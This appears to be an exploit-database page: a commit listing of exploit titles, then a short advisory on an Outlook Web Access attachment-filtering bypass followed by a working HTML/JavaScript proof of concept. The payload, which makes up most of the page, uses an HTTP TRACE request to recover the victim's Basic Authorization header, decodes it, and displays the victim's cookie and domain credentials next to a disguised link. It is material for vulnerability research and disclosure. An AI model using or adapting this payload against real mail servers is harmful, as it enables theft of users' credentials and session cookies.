880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.5 KiB
HTML
74 lines
No EOL
2.5 KiB
HTML
source: https://www.securityfocus.com/bid/8113/info
|
|
|
|
OWA contains a vulnerability that may result in attacker-supplied script code executing within the context of the mail interface when processing e-mail containing HTML message attachments.
|
|
|
|
It is possible to prevent filtering of the attachment by omitting a certain URI parameter from a generated URL.
|
|
|
|
If did parameter does not exist, no filtering will be performed. Unfiltered, the script code will execute if embedded in an HTML email opened by a user.
|
|
|
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
|
<HTML>
|
|
<BODY bgColor=#ffffff>
|
|
<script type="text/javascript">
|
|
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP")
|
|
xmlHttp.open("TRACE", "./", false)
|
|
|
|
xmlHttp.send()
|
|
xmlDoc=xmlHttp.responseText
|
|
|
|
|
|
str1=xmlHttp.responseText
|
|
|
|
splitString = str1.split("Authorization: Basic ")
|
|
str2=splitString[1]
|
|
|
|
var base64 = [
|
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', // 0 to 7
|
|
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 8 to 15
|
|
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 16 to 23
|
|
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', // 24 to 31
|
|
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', // 32 to 39
|
|
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', // 40 to 47
|
|
'w', 'x', 'y', 'z', '0', '1', '2', '3', // 48 to 55
|
|
'4', '5', '6', '7', '8', '9', '+', '/' ]; // 56 to 63
|
|
|
|
function reverseBase64 () {
|
|
var r = new Object();
|
|
for (var i = 0; i < 64; i++) {
|
|
r[base64[i]] = i;
|
|
}
|
|
return r;
|
|
}
|
|
|
|
var reversedBase64 = reverseBase64();
|
|
|
|
function decode (encStr) {
|
|
var charCodes = new Array();
|
|
var decStr = "";
|
|
for (var i = 0; i < encStr.length; i++)
|
|
charCodes[i] = reversedBase64[encStr.charAt(i)];
|
|
for (var i = 0; i < encStr.length; i += 4) {
|
|
var bits24 = ( charCodes [i] & 0xFF ) << 18;
|
|
bits24 |= ( charCodes [i + 1] & 0xFF ) << 12;
|
|
bits24 |= ( charCodes [i + 2] & 0xFF ) << 6;
|
|
bits24 |= ( charCodes [i + 3] & 0xFF ) << 0;
|
|
decStr += String.fromCharCode((bits24 & 0xFF0000) >> 16);
|
|
if (encStr.charAt(i + 2) != '=') // check for padding character =
|
|
decStr += String.fromCharCode((bits24 & 0xFF00) >> 8);
|
|
if (encStr.charAt(i + 3) != '=') // check for padding character =
|
|
decStr += String.fromCharCode((bits24 & 0xFF) >> 0);
|
|
}
|
|
return decStr;
|
|
}
|
|
|
|
document.write("Your cookie is: ");
|
|
document.write(document.cookie);
|
|
document.write("<BR>Your domain credentials are: ")
|
|
document.write(decode(str2));
|
|
|
|
|
|
</script>
|
|
|
|
<DIV><FONT face=Arial size=2><A
|
|
href="http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
|
|
1_multipart/2_text.htm">http://www.ilikemarijuana.com</A></FONT></DIV></BODY></HTML> |